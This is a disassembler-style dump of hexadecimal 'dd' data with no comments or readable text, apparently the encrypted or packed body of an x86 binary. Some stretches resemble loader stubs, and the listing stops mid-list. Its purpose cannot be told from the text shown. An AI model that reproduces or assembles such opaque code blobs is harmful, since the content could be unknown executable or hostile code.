7A1D70CCh dd 84C4E98Dh, 59167AC1h, 4EC7632Eh, 0B2770EF0h, 28CDA027h dd 205E25A0h, 0AA06AB4Dh, 865CECh, 82637512h, 4869C7ECh dd 9832E59Dh, 0B233DBAEh, 4C8A3EDh, 2E45DE6Ah, 2CBB710Bh dd 73103850h, 8D710B2Eh, 3E83C5EAh, 44365657h, 0DBEA5478h dd 1D273165h, 0DA93698Ch, 41h, 6785F065h, 0FF4DFF4Bh, 14C37511h dd 0DF2FAC74h, 3DFD710Bh, 0DF2EA783h, 0D92710Bh, 7A6F4602h dd 0EEA71F0h, 0EAF2E62Ah, 0E59369E6h, 0B7h, 6EEA00D3h dd 0D909D84Bh, 26E3C2BEh, 423E85CFh, 0A2432AC1h, 9B2472Ah dd 9A1BF25Fh, 0AD886FF2h, 77A7FEDAh, 5911FCFAh, 128B9Fh dd 0FB6E770Eh, 0F5AF697Dh, 0DFFBC55h, 0DF550077h, 0DFCD9CFh dd 73741B77h, 0C0E5881Dh, 1694FF88h, 0F66F058h, 1D47511h dd 0F1BD543h, 710B0B96h, 36817FEAh, 3515AD4Bh, 6F08BC07h dd 25C8E675h, 5439AF54h, 1C873EC3h, 0C1E6D63Dh, 0CC43429h dd 15E40000h, 8C69FC90h, 0FA9C6167h, 660E93F1h, 0D9BE0341h dd 736BCD0h, 5735BE53h, 0DB892EC2h, 491FA476h, 0F8EC11E4h dd 0D049E1D9h, 2C7105FFh, 452ADF9Ch, 0B24528BCh, 0F0245F0Dh dd 0FF4B6785h, 7511FF4Dh, 0B95A14C3h, 1A075E5Ah, 1DB6923Bh dd 63710BBFh, 0FB9369F4h, 0BBEB653h, 9ACE7271h, 6A20869Eh dd 0CF4193h, 2AF20000h, 472AA243h, 0B77109B2h, 0EF0FA93h dd 90092177h, 0EC770EF0h, 0C8602679h, 770EF04Fh, 0D5533EADh dd 0EE776DB5h, 16F9770Eh, 0FA9E8B69h, 0CD836EF5h, 78109578h dd 8A6444Fh, 78FA8D4Eh, 6C51CA5Eh, 38AF770Eh, 0D71B8C67h dd 20E77159h, 86557511h, 0DCDAA5C2h, 968986A2h, 98F76F08h dd 4B67F2F7h, 0CC777B88h, 0EDE00E49h, 0E0E5E70Ch, 0D6BB4A04h dd 47C2952Dh, 1CD02C27h, 64C99D1Bh, 5A576E93h, 9FE6D66Fh dd 0BD012CFh, 9E80000h, 801DE0E4h, 0EE80157Bh, 5A3287C5h dd 0CDA23755h, 13C2A024h, 5B09B247h, 0CF9D22F6h, 7D13987Ah dd 0ECE005E8h, 0DC75D5D5h, 207105FEh, 452AD390h, 916302BCh dd 6FFAFF90h, 0F88C687Dh, 6F7D8215h, 0A2432A74h, 0D3BB4A04h dd 0F061FAD2h, 8DF770Eh, 9E71DCACh, 10E64B19h, 0D8CAC921h dd 4FDB62A1h, 770E18D6h, 45D0BF2Ah, 0D6D7BE03h, 946104B2h dd 8C687D6Fh, 0BBC6443Dh, 0EFA5853Dh, 0AD751130h, 2BA9833Eh dd 1F9D8528h, 10387674h, 838859E2h, 38C15637h, 5656FF50h dd 9C5437B7h, 0CF9ABB31h, 19FEA9Dh, 9690C169h, 0A10C7D82h dd 29412CD1h, 5EBDAC6Fh, 0FE4FB7C6h, 82BC35AEh, 0B233C785h dd 12948FDAh, 82BC9D36h, 0E974E385h, 0DDB05513h, 0B5604F20h dd 5F4BF677h, 7E388712h, 0E2EA0BEFh, 906509E7h, 0B2B9F8FDh dd 17175C5Ch, 0ADC9A77h, 0FD9C0000h, 740194F8h, 0E2B4194Fh dd 4E268BD9h, 0C1563BA9h, 1FDE5438h, 4F1DA64Bh, 0F39116FAh dd 61678C6Eh, 90F4F99Ch, 0E861C9C1h, 547105FDh, 432AC7A4h dd 0F29D2AA2h, 906EBAF4h, 0C97511FEh, 0DB0F4E16h, 318F701Ch dd 68074510h, 47E39F1Dh, 6F0EA661h, 0BF44D5B8h, 3D75E0C1h dd 46031D9Ah, 4764B007h, 0FB556A78h, 9314E420h, 0AB01ECF9h dd 159E3BC3h, 0B66A770Eh, 776E7662h, 7B35996Ch, 0E1936AFh dd 61DF8A77h, 467Bh, 0A19E4100h, 3105027Ah, 0F04BC8A4h dd 0FF4B6785h, 7511AB4Eh, 0F4E1DDC2h, 0A2FB1FC0h, 0F25924CDh dd 0E840FAB4h, 710BDC6Fh, 0CFA21ECDh, 38C0842Dh, 710BDC9Dh dd 0A93FC057h, 0DB8D36C4h, 0A1106h, 2957800h, 18C07FDh dd 4B67886Ch, 0EF066FFh, 0B10FDA77h, 457D7B06h, 74A05E5h dd 0AB7F3B75h, 71060132h, 324CDB8Eh, 513BBC53h, 0CFD4A2FEh dd 0CA515F1Ah, 0A576306Eh, 58597148h, 1075F31Eh, 0AF3E787Dh dd 0CEA221CAh, 0AA3F5329h, 0B039DAC3h, 7904A325h, 0F0EB3F7Bh dd 486EFE58h, 6D00E59Dh, 0DEB10448h, 8DF88FD9h, 0E0B2536Fh dd 7235DDBh, 7511CFF9h, 44B1F067h, 15E0D375h, 9909875h dd 49280000h, 0C05D20A4h, 2EC0553Bh, 9A72C785h, 0DE27715h dd 0D302E0E4h, 9BC9F287h, 0F5D6236h, 0BDD3D8BAh, 2CA04528h dd 9C351595h, 0E07105FBh, 0F26F9350h, 0D8770EF0h, 0D7730FADh dd 750749B4h, 4C21590Ch, 0D64004A9h, 0B5D6637h, 559D395Eh dd 4B4E20C4h, 0F0F598EDh, 6A4EF98h, 50E2C068h, 85506F09h dd 0DBD68BEAh, 5BB656E6h, 922h, 5236B75Ah, 0C7852ECFh dd 71179C72h, 0E1E708ECh, 12767B1Ch, 60316590h, 0D0A0355Bh dd 46D4B92Fh, 0B35A2FBDh, 83075E32h, 5FB2EA7h, 1E29271h dd 4A2432Ah, 0F065FE4Ah, 0CDB770Eh, 0A45ED8B0h, 0EF10B84h dd 70AA0F77h, 715B3A0Bh, 582D8B5Eh, 8227C8B5h, 26C89FCAh dd 0F356369Dh, 51F194Dh, 0C2996C98h, 40Fh, 9F85F07Dh, 0FF96F5FEh dd 6CFBEEFEh, 49CFF652h, 85567507h, 0F82770CAh, 535E63EEh dd 94B6307Fh, 0DB8EA71Dh, 8627CE9Fh, 17987FC2h, 8130AD75h dd 6F1A7106h, 13113971h, 216F098Fh, 29BAF69h, 7E770375h dd 7428A1EBh, 0C1947703h, 14EE3B7Ah, 0DBB3E6DBh, 86106h dd 77781B00h, 0CAEF8C11h, 545D3386h, 24C9AD30h, 0B73CDDA0h dd 0F6A453D1h, 61F49821h, 95786C91h, 1BEEE207h, 441D7374h dd 0FA6DE642h, 21D37105h, 94470142h, 5B2015C7h, 1DB696D4h dd 63770E42h, 821578F4h, 0BF8B457Dh, 770E4126h, 41B42DFDh dd 5D08770Eh, 71199742h, 0E4E409ECh, 19737819h, 89C3E4B4h dd 69A9FD31h, 0DB8ADE42h, 41900921h, 79EC770Eh, 9EACB083h dd 38AB996Ch, 0D4000003h, 0EF0F26Fh, 0FADD877h, 6EFFB973h dd 62676186h, 0EF0B12Ah, 0DC580F77h, 74A0BCCh, 0BCFA6175h dd 23A14629h, 5636B75Eh, 2E486611h, 0C6B3BB6Dh, 4D2BE980h dd 0DD393713h, 0A8076F09h, 2D9F20C5h, 98348C75h, 8AC9E877h dd 4FE6DB0Bh, 790A2BFh, 49280000h, 0C05D20A4h, 2EC0553Bh dd 9A72C785h, 0DE27715h, 0D302E0E4h, 9BC9F287h, 0F5D6236h dd 0BDD3D8BAh, 2CA04528h, 9C351595h, 0E07105F9h, 432A9350h dd 0B0472AA2h, 91B9730Fh, 770EF0F8h, 731B9144h, 3A3E62D6h dd 996D4E22h, 296DDh, 0F26F5E00h, 0D8770EF0h, 0D7730FADh dd 750749EDh, 30EA8453h, 5335BA5Dh, 40D7BA36h, 0AC6F29BFh dd 0AF51D750h, 46B7C88Dh, 0AA34277Ah, 0C9ACC1BFh, 0D7B13ADCh dd 0D947EDB2h, 0E15746A2h, 4A35721Ah, 903612ACh, 0EE6F09D1h dd 57FB387Bh, 26C6E6DBh, 6ED2Bh, 0CBEC8F00h, 5E633085h dd 28D1A70Ah, 0B83DD1A4h, 0BB041D4h, 7A30EF45h, 95786C95h dd 19ECE005h, 8F12767Bh, 0F081C7E8h, 0F9F992B6h, 0B5477105h dd 0A2432A36h, 0D1AB6C2Ah, 0CDA7D0DBh, 7C1376F2h, 82B2117Bh dd 8671045Eh, 63D1C550h, 0AB3984A0h, 7E1733EDh, 0C2770E55h dd 1EA37017h, 969D1B4Eh, 996CB78Eh, 1149h, 0D45AEA00h dd 1C000001h, 0F04DC662h, 24B3770Eh, 0F86FCB48h, 0DE770EF0h dd 0C942E6B3h, 37770EF0h, 0E39DD5A0h, 0ED4B7002h, 749E0DDh dd 0F1895C75h, 1074791Ch, 0ADC5EA8Dh, 1BE57F3h, 0AF027106h dd 0DE5A21CAh, 108EF98Eh, 0E4CF256h, 3FAA6F09h, 0DB944D84h dd 0E57810E6h, 62Ah, 5A0EAF42h, 0CF9D26F7h, 796F947Ah dd 0E9FF0094h, 1A4E7304h, 58396DA8h, 0C8A83D53h, 3EDCA127h dd 0AB42D7B5h, 7B3F460Ah, 5F836AFh, 79FA8A71h, 2AA2432Ah dd 5D0FB047h, 8F6122F0h, 9867626Ah, 668B6DF0h, 4487466h dd 0E72BE9BAh, 0A127C8AFh, 6D527A82h, 77599h, 5A860000h dd 11Fh, 8F6C01D9h, 94B4626Ah, 770EF0FBh, 0B10F9A41h, 0EF10199h dd 9EE977h, 49EAC266h, 79337507h, 60138D1h, 5BD18471h dd 4E5D257Ah, 6E47C34Ch, 7006E783h, 0F9B3ED4Bh, 827E8314h dd 0CBE708EFh, 0BAA03911h, 491C7106h, 7E219FF3h, 5F31BAE6h dd 0A0F055Ah, 5B603D50h, 0C0E588DDh, 7730C7A6h, 194C1CA5h dd 0A677DAB2h, 0B31E4B1Dh, 0FBBA53F7h, 53067105h, 87F2B5D5h dd 53F95169h, 0D16F0908h, 0E1491BF2h, 77030A68h, 0D2BA01D4h dd 0A88928B7h, 29E6DB8Eh, 5308C41h, 0A9480000h, 20FD4004h dd 8E60F59Bh, 0FA926765h, 6D0297F5h, 73A20044h, 3BA95227h dd 0AF3DC256h, 0DDB338DAh, 4C00A548h, 3CD57535h, 807105F7h dd 6C0173F0h, 0E78A668Bh, 32D3EF10h, 8EDE5A5Bh, 21AB4C23h dd 0D46EB262h, 1B28BC41h, 996D5201h, 7FEh, 2C5A7900h, 0D9000000h dd 2AA2432Ah, 20F7B047h, 0F063FC4Ch, 32D9770Eh, 0D5A025A7h dd 8B4C0AB3h, 0F42B7DCAh, 0C5F9773Dh, 0B136D991h, 213ED3h dd 2A450000h, 4A04A243h, 0EF065FEh, 0B00CDB77h, 0E98F5ED8h dd 0C64464C0h, 85770EF0h, 5A3D7599h, 2A4C3755h, 9D2AA243h dd 6EBAF4F2h, 75074A8Eh, 0A85126C7h, 39D27620h, 87710601h dd 0D6EF45D0h, 0D8AD6703h, 5336B237h, 0C0553BBCh, 0A7C0882Dh dd 88A0DEDCh, 6EFE5B8Dh, 971CF98Ch, 0D3673819h, 66FF4B66h dd 0DA770E5Ah, 0DED66A0Fh, 0D871D991h, 24770EA6h, 0F98C2AB1h dd 6EF39116h, 41666687h, 2AFEB836h, 7511A41Ch, 91B4CF9Ah dd 54E0D321h, 41859B4h, 0C1500000h, 38C5A83Ch, 0A648DDB3h dd 12FA4F1Dh, 856AFFEDh, 5B9A687Ch, 3416A0Fh, 0B7D5DABEh dd 25AB5022h, 5438BD50h, 24BD8D0Dh, 987105F6h, 432A0BE8h dd 0B45B2EA2h, 21F45933h, 0E55FCC9Ch, 9116F9B1h, 0D0A045F3h dd 4C28BD2Fh, 6D525D67h, 431A99h, 0F0A50000h, 0FF4B6785h dd 7511AB4Eh, 8A5B17C2h, 515A3BE8h, 3DC2AA37h, 0C4533EABh dd 0A3DD7880h, 8017710Bh, 0A189437Fh, 710BA328h, 91B035D8h dd 39CACCAh, 79710BA4h, 0EF721692h, 69E4E40Dh, 382h, 8B6C0194h dd 523D8A66h, 0C80E1A54h, 0A67511F9h, 21F45933h, 8F61CC9Ch dd 0F99F626Ah, 0DADA98F0h, 0CF6504B6h, 7505E89Bh, 88C0E588h dd 4DFA76DDh, 7B0AA442h, 0DD9B119Ah, 0EDB074Dh, 92F6656Fh dd 93C6AAD5h, 55E71042h, 0BF8B27B2h, 75113159h, 9015F8D7h dd 0D8CCD9CFh, 2EB5652Eh, 0B53ED3BEh, 34EEA8D3h, 0B127B14h dd 0B0EBF71h, 6CB0476Fh, 0F6CAA635h, 0A94732A2h, 0AED33911h dd 8A516F0Eh, 717619ECh, 92F67217h, 948D680Fh, 9D0515B9h dd 0C6A7C3AEh, 5A328E2Fh, 0C99F20F7h, 9DD5D3BEh, 11A0D78Dh dd 9A7E5575h, 8B167315h, 7C1535EFh, 0C0710B80h, 27CF9F15h dd 710B80AAh, 8296BA66h, 9369DE7Ah, 5175h, 85F08600h, 0D4BA4B67h dd 227E7E5h, 78C784A4h, 164ABF10h, 89F5222Bh, 20084622h dd 7511D78Eh, 25BE8A0Ch, 0E5710BB7h, 0B01B71h, 568AB10h dd 15E04F74h, 3F0BC573h, 710BE5A6h, 0D9F14F1Ah, 710BE53Ch dd 100054C8h, 936A470Ch, 0B8CBh, 432A7400h, 0B2472AA2h dd 0F0D54EDAh, 442B770Eh, 0C5933B4h, 2FB2DAA1h, 5825A748h dd 8C5C30B5h, 770EEE96h, 0DCB035D8h, 16F9A649h, 9B20F291h dd 4A1720Ch, 5BD56D7Ah, 3D4A229Eh, 0E1A5452h, 75116B00h dd 94CB217Eh, 0C7359CA6h, 305B1478h, 0EE3AF4B2h, 710BE075h dd 0E6A01CCBh, 9914D42h, 621CCB6Fh, 87C5EE83h, 1D545D32h dd 0E6D6C830h, 0F32C21C9h, 0B5000001h, 3E83C1E6h, 0AD30545Dh dd 0DFA226CBh, 4FD2B637h, 0E14301AAh, 6A8F6036h, 0FEFF9366h dd 4C7507EAh, 0DDE2B518h, 98B0F68Fh, 7105F4FFh, 2A28CB7Dh dd 4528BC45h, 0A2750DB2h, 65DAA54h, 0BFD3A971h, 6785F0C4h dd 0D1D6BA4Bh, 7B0D1D5Bh, 0F17511FFh, 91FB0092h, 0F9FE91F4h dd 536FFAEFh, 0E018B199h, 0F164710Bh, 0C0A5137Bh, 1A328E33h dd 710BDF7Dh, 5741958Bh, 936A414Dh, 0BB0Ah, 432AB500h dd 0B2472AA2h, 0A1B75F09h, 0F8770EEEh, 0A18CC027h, 0AA0625A5h dd 0D98F30C7h, 4C1CA174h, 1452503Bh, 11EF0634h, 77197475h dd 0E04F1A72h, 3AB8C3ECh, 4F96AC7Ch, 0B9146F09h, 2F4BD6DBh dd 47E3B95Eh, 77085FCEh, 9ED8A732h, 5FCB44E4h, 9C7D7708h dd 0D3A93C17h, 0BC452ABFh, 0D6F91205h, 322FBFE6h, 10Eh dd 0A62ACBAEh, 2BB942D3h, 450BB046h, 0F59B1CF0h, 666A8F60h dd 7405518Ch, 0E4B4194Fh, 5A388DC3h, 0C7AE3351h, 9713A226h dd 5F41AB3h, 15D66671h, 0A4FA5E01h, 59D33AA7h, 0CCA837BCh dd 97D3D8B9h, 0C99C25F6h, 82C78126h, 18FF4226h, 0A647F197h dd 0DC572DD2h, 3FBF5E01h, 882611Ch, 4936D9ACh, 0D5B702A7h dd 1BF8A548h, 9E1FF396h, 580C9BCEh, 0D7BE642Fh, 28A0492Eh dd 2F4BD6BDh, 6D1131Bh, 0E5E0D75h, 1CE1CCA3h, 0D2D3A77Fh dd 4A8A2FBAh, 0E5457DE0h, 7106956Ch, 2ABE05D0h, 3EF9996Ch dd 1C529331h, 0B8D0BF63h, 5B32572Dh, 6EEA325Ah, 0A01B753Ah dd 6F06588Ch, 0E0B71A4Eh, 2E224B0Ch, 0E687C583h, 6F792DA6h dd 79C49303h, 0C5EA826Fh, 50593E83h, 3FC45538h, 0DA0E26ADh dd 6DB1F378h, 6BE444FEh, 0D1036F79h, 34DBAE0Ah, 0F6CE279h dd 48D7239Ch, 0D9DEB104h, 7106E7A1h, 18C74048h, 0A635036Fh dd 3AFA2CAh, 0D6000000h, 472A8003h, 0B45B26A6h, 26F45933h dd 9266CB9Dh, 1967B6Dh, 6C0D90F8h, 0D4B80547h, 42D4B9D3h dd 0B1422FB9h, 510B4008h, 0C181E189h, 4, 8704E983h, 895C240Ch dd 368241Ch, 8900006Eh, 682404h, 89000046h, 0BB532414h dd 608F082h, 89DE8956h, 685B5EF0h, 2D0Ah, 81242489h, 42404h dd 815A0000h, 4ECh, 24048900h, 0FF08428Fh, 835A2434h, 48B04C4h dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 7E43E95Ch dd 7204FFFAh, 9C82F492h, 8FEB7B8h, 0FFC50306h, 9280E3E0h dd 7F323008h, 9B38F146h, 0C6A3CF05h, 0D49BDD31h, 0A3CC7C06h dd 8E0C2115h, 26EE126Ah, 83BD923Fh, 0A0FB547Ch, 0CCF94C7Bh dd 1C05D12h, 37EADA56h, 0CA6EE930h, 4A12462Dh, 5A95DE54h dd 65C9DA12h, 79AB2C7Ah, 3CCAF751h, 63EF5124h, 366AE63Bh dd 12E814h, 89BB0000h, 7F7CF378h, 920A2C9Fh, 2BF8DFFCh dd 0C0B794E2h, 0E9D98B60h, 9, 0E5742C11h, 2D26ABD6h, 0F586129h dd 387h, 0F28B6600h, 656CC081h, 39BE0000h, 680435A8h, 0 dd 0FE8h, 0E8DF6C00h, 0CA353CA2h, 841F3E77h, 87A39A34h dd 9CDE8166h, 605B5F73h, 6E9h, 0F072E200h, 0FEB4883h, 0FF61DABFh dd 0E8500334h, 11h, 0A562CB46h, 0D457FBACh, 0EB115DCDh dd 0CCA4F320h, 10E95Fh, 9A330000h, 64B79848h, 0A9E4ADB9h dd 0D9F02847h, 5E59B436h, 0EA81F55Ah, 70355C14h, 81CAB70Fh dd 28E316F2h, 0F6816672h, 0C281E840h, 5404B50Eh, 89FBBF0Fh dd 21BF1814h, 8130A8E7h, 14D36DEBh, 0CE823h, 43D00000h dd 69540510h, 8E9BE8BEh, 0B70F5434h, 0C3815EFFh, 2314D369h dd 0FB81F78Bh, 0FFFF9B80h, 0FF79850Fh, 8D8DFFFFh, 60900F5h dd 2519BD89h, 8D890603h, 60331D1h, 2A958D89h, 85C70603h dd 60301E1h, 5DECh, 68BCEB81h, 85C70FADh, 60321BDh, 0 dd 5E9BD33h, 0B5FF0603h, 60313E9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0C0C35040h, 5879F1D2h, 0B5898DF7h dd 6031AADh, 269195FFh, 0A2B00603h, 13ED958Bh, 6A0603h dd 1FB995FFh, 0C08B0603h, 5841EEBh, 73223E50h, 467390D8h dd 206D6CB0h, 10F5B025h, 0C7C32A7h, 0B5205D42h, 578F9A98h dd 17DE9h, 0FE5D6000h, 0C2016C4Fh, 0CAD1D76Fh, 7E41EFB4h dd 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh dd 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh dd 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h dd 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h, 0E56CA191h dd 10000ACh, 43h dup(0) dd 0D1F80000h, 0DA43736h, 0B4B6D3C2h, 1AE97021h, 68000010h dd 6090452h, 0FB3FB3E9h, 55568FFh, 0A9E90609h, 68FFFB3Fh dd 60906C3h, 0FB3F9FE9h, 77C68FFh, 95E90609h, 68FFFB3Fh dd 60908B0h, 0FB3F8BE9h, 99068FFh, 81E90609h, 68FFFB3Fh dd 6090A47h, 0FB3F77E9h, 0AE368FFh, 6DE90609h, 68FFFB3Fh dd 6090BBDh, 0FB3F63E9h, 0C5B68FFh, 59E90609h, 68FFFB3Fh dd 6090D27h, 0FB3F4FE9h, 0DE568FFh, 45E90609h, 68FFFB3Fh dd 6090E9Eh, 0FB3F3BE9h, 102A68FFh, 31E90609h, 68FFFB3Fh dd 6091148h, 0FB3F27E9h, 771730FFh, 7A3C7E5h, 95315715h dd 27C7E187h, 0B6507735h, 134850A4h, 0A2C052F4h, 3E7CEE84h dd 0CBE97B17h, 441E0CAEh, 8390C6D9h, 5E6EA1A8h, 3AE00565h dd 3CDEFBBBh, 0C39DF92Eh, 0CF8100A2h, 4F4EE40Dh, 89E84D0Dh dd 0ADA49116h, 5033B262h, 0A1A2901Ah, 53936926h, 0AE9893A7h dd 4C10h, 1074AB00h, 11BC1732h, 33ADA491h, 288BA683h, 0A1A292BEh dd 34B55176h, 3D189874h, 0A29234A2h, 0A752C2A1h, 9221ADCCh dd 461DA1A2h, 8D9244E6h, 0D40BAE98h, 0CE000000h, 1E71AED4h dd 0A1A29E48h, 0EB4E0EB6h, 0A29EDE88h, 8D7838A1h, 3AE00508h dd 3ADCFBBBh, 3CDEFBBBh, 3EDCF9BDh, 8573AD2Ch, 9EBBA7A1h dd 2D486EFCh, 5B3F0C8Dh, 7CFBDA7Fh, 0D1ADA49Dh, 9C8FDBBAh dd 0C949A1A2h, 328DA83Ch, 0A1A29CA4h, 3022E252h, 8EAB8703h dd 0A42D2C37h, 0CD6828ABh, 0AE389BB6h, 0A8ABA94Dh, 82A11DE8h dd 133076E4h, 35B45271h, 4D2BBF16h, 6DD5ABA9h, 0EBFDEDADh dd 3828C458h, 0DC85EB9h, 34570000h, 0C0DA988Ah, 4E6A081Ah dd 0E404BAA8h, 6D8A283Ah, 2B735BC9h, 0E7751136h, 1301A1C1h dd 8C9E345Dh, 3D2FCBEEh, 8FDBBA63h, 49A1A884h, 0DE054A21h dd 71942A38h, 0E99E1328h, 7B990926h, 0DA9ADADBh, 0C372647Fh dd 148CA7A1h, 7499C654h, 75153010h, 0D1743474h, 0A491D3FEh dd 60C57DADh, 91640A22h, 9137BFDEh, 540BA1A2h, 8E8436F0h dd 0CDE8AE98h, 9D8BDFB6h, 0CD75A1A2h, 0A29DBA2Ch, 29DC44A1h dd 0C2E7h, 0C362FC00h, 86A0C6FDh, 2A3E5E4h, 20D584ACh dd 0C2C36782h, 66C36380h, 882A4B4Bh, 20B65709h, 0DEA7A18Fh dd 0B1D09366h, 0A7A18A67h, 1200AACFh, 1091395Ch, 0AE8B6723h dd 0A48C10D7h, 0CAE9A5ADh, 1EEBAD2Ch, 3D180A8Ah, 36C36381h dd 88AD890Dh, 6B7F566Dh, 0DCA1A2ABh, 0A2AB95C5h, 0DFB363A1h dd 3B339267h, 0DDABA405h, 0A5C2C065h, 365D1301h, 63A20090h dd 0F07128C4h, 0CC5E9h, 97375000h, 27C3E785h, 0B5517735h dd 47E701A7h, 0D67097D5h, 33287044h, 0C2E07214h, 5E1C0EA4h dd 0EB899B37h, 643E2CCEh, 85B026B9h, 3E4EA1A8h, 3ADE0545h dd 2279781Eh, 0A1801743h, 7131E1A7h, 0E80DA3B1h, 5ABD042h dd 0FBBB3AE0h, 0CB8659DEh, 314105D0h, 5B2FBB5Ah, 6929A7A1h dd 1074BBA9h, 557C1732h, 0C77B0F40h, 1F3AD1A4h, 0D9D882A7h dd 0E873D2A7h, 6CADA423h, 7EF3DA55h, 7F3F36AAh, 6571F7Eh dd 0B46BA1A2h, 19E49650h, 6D5DAE98h, 38000000h, 0CCB95D7Ah dd 3210744Fh, 0A805BC17h, 9D07ADA4h, 381DDD75h, 0A9D4821Dh dd 7222A1A2h, 0C18DEC87h, 0FDA1A2A9h, 7224C626h, 0FEAE987Ah dd 0B196C0A3h, 0B060A1A2h, 321BC5h, 0A3FE0000h, 0A2B196C0h dd 0C5B060A1h, 32107450h, 0A241BC17h, 36C3ADA4h, 0A2A20B5Fh dd 8D4DF5A1h, 0A2616D0Ch, 865DA1A2h, 7DD284A6h, 74BAE98h dd 50000000h, 8755Eh, 10742500h, 0B1731330h, 0B6F6F797h dd 0EC7053F6h, 27ADAA83h, 18D0D48Ch, 0B64347EAh, 0AEC83D2h dd 4649BDF0h, 0C6E3A386h, 9F173624h, 0F612D07Ah, 6A1F5150h dd 8C0DADC8h, 5AFFDBBFh, 0A38B547Bh, 0E540F0ABh, 7CEE8CA9h dd 547D1B3Eh, 32DCFCBEh, 0B031F1B3h, 0E2B0783h, 0B68FACB7h dd 0F8E8A8A1h, 2ED09B04h, 57475E13h, 0C600000Bh, 556BF9A5h dd 0E59B8931h, 773527BFh, 5BBA955h, 0C22A38DEh, 0E482A1BAh dd 70123076h, 0DA5CCE2h, 9E3C591Fh, 482BF28Ch, 0A1A8861Eh dd 26DBD0F8h, 0A7A181ACh, 0B0957115h, 0AA8313D1h, 0D745FDADh dd 0EEF8DBF6h, 68A1A882h, 7410DDA8h, 0D6F3B396h, 2B8A4134h dd 0ABA3803Dh, 0A7C267DFh, 83A12988h, 0E55FABB3h, 0E5A726BCh dd 0B7D25025h, 46630113h, 0B6EE81A4h, 4C06FA90h, 0A697EE9Bh dd 42E006E2h, 6D88A782h, 0B3F84412h, 7702B2ABh, 0B8F9E99Ch dd 8EAB6BA1h, 0DB49F114h, 0DBDA80A5h, 0BAF930B8h, 35117535h dd 0FC22B110h, 762E3FBFh, 0DA0C9066h, 0FBE29FB4h, 0A9Eh dd 0A2B05E79h, 0D240EA0Ch, 4CDE789Ch, 0F2600E2Eh, 6DFF97BCh dd 3B580119h, 0CBEB899Bh, 5E872537h, 0F51056C4h, 60BDC755h dd 0A8875901h, 9C17A7A1h, 17321074h, 0B9DF799Fh, 1CDC9C1Dh dd 1F97B269h, 1A5A5BF7h, 8278F46Fh, 1A9AADAAh, 0B862873Fh dd 49F114AAh, 411F7B48h, 44048525h, 0C8EDA184h, 14E1A322h dd 8376E6F9h, 1080ABA3h, 0BE5C7935h, 5BFF1B9Bh, 876F1A5Ah dd 2460EF86h, 59656434h, 57F316ACh, 9B0753F2h, 18983321h dd 7E567AB9h, 23D68E41h, 5E177340h, 25A43E64h, 65D48263h dd 7222ABB3h, 613C97B2h, 0E3A1B867h, 799C1633h, 82D43D1h dd 0AD446362h, 0F3BE906Ah, 9609FC86h, 0B5BABCDCh, 3C5E5473h dd 0BC5D1F9Eh, 0B5BABC2Ah, 54996CD4h, 9CF75230h, 0BFB1BE14h dd 9EC8AB76h, 78BF85BDh, 615DF8B8h, 0F6B4A644h, 6B1335D3h dd 6B6A2A6Ah, 0C5603E5Ah, 8EBF7EEAh, 1A98B5h, 59195B5Ah dd 98CEA1FCh, 66B98CBEh, 3CD6FCBEh, 770EFBBDh, 0C1644246h dd 0D4800BAAh, 0DE3C1554h, 4CF5A82Bh, 0AF17B389h, 0EC7DD13Fh dd 0B8A35E40h, 96Ah, 7EEC92B5h, 0EE7C1E38h, 180AACC8h dd 8E9C425Ah, 392BCBE8h, 6F94CD2Dh, 0FF2745D7h, 92B3F163h dd 294C62F0h, 54C19381h, 0A8886D7Dh, 0E8C3EBA1h, 1E38E005h dd 7B3B7D7Ch, 181D387Ah, 0A180D1B9h, 53752FA7h, 0AA2BEBABh dd 5825DF8h, 0D138CB4Fh, 0E17B18EDh, 587D1B3Eh, 3D60F2B2h dd 0B49B3589h, 11F2h, 0FA5E8900h, 7B000004h, 8015455Ch dd 33E3A7A1h, 0CE0BD546h, 0F7523054h, 0A4B01D9Ch, 62C77FADh dd 64650520h, 0D1805124h, 7CAE7D7Bh, 45E0BEDAh, 0ABA93B6Ah dd 21805D74h, 78B3A9B9h, 9E1FDF47h, 280DE9ADh, 54A37C89h dd 0EDAF87E6h, 0ECAC2DC5h, 0AFE3C219h, 8072B580h, 0B643E702h dd 0A8C762D2h, 0B96781C9h, 32C77F42h, 0D07A9F17h, 61092C42h dd 0D4729971h, 0F0EB6601h, 88Ah, 5ECC7295h, 0CE5CFE18h dd 78EA8CA8h, 0EE7C223Ah, 190BABC8h, 4F74ED0Dh, 0DF07A5B7h dd 7293D143h, 92C42D0h, 74A1F361h, 0A8894D1Dh, 88E38BA1h dd 63032062h, 53F91C96h, 0D5D49436h, 71D47291h, 8B7E143Dh dd 7250347Bh, 821AFCD7h, 1DA4ADAAh, 0BFC79FCDh, 0BD985883h dd 0B082C66h, 0A8503EA8h, 9858D8A1h, 963451EDh, 27C3E684h dd 15F195A6h, 528F5130h, 6100ABA3h, 4C8C7704h, 8471C9h dd 439EB590h, 0B3837660h, 521080ABh, 49E59036h, 0C1698C2Ch dd 0C06682C0h, 0FCF8FC1h, 903A5F1Dh, 59783A11h, 8D7838B9h dd 64741231h, 28CD8EB0h, 0D39B827Fh, 42000007h, 0D1978529h dd 610715B5h, 0F3B1A343h, 812735D9h, 4656C462h, 60062D36h dd 0FC96BCF2h, 8929486Eh, 1AC0E59Bh, 0D4AF7608h, 0A1A88A82h dd 62572C7Ch, 38E634C3h, 2030F6BCh, 0C2842530h, 1CBAD90Dh dd 0DA789E5Ch dd 27EC99DBh, 0C3A28763h, 0ADAAE411h, 13475EFBh, 0EDA1A8E7h dd 0D2D07535h, 4B1F76B7h, 0B5A1A8E7h, 99DF4D0Dh, 0F8DFDE7Ch dd 0CF99DBAh, 42E7C3C7h, 0E71A4C27h, 3CE4A1A8h, 0A0339249h dd 1DABADFCh, 2FBEFC6h, 9D05ABADh, 2CBC64E8h, 28C80E02h dd 37495011h, 0E6000007h, 750B19C5h, 5BBA951h, 97D547DFh dd 255BC975h, 0E2CA58FEh, 4A2C19Ah, 90325016h, 2DC5EC82h dd 0BE5C793Fh, 0A80B12ACh, 0A1A88A3Eh, 53BB0D8h, 0FBBB3AE0h dd 0E9BD3CDEh, 0CAEF52AAh, 76F1E2C1h, 0A9691CF0h, 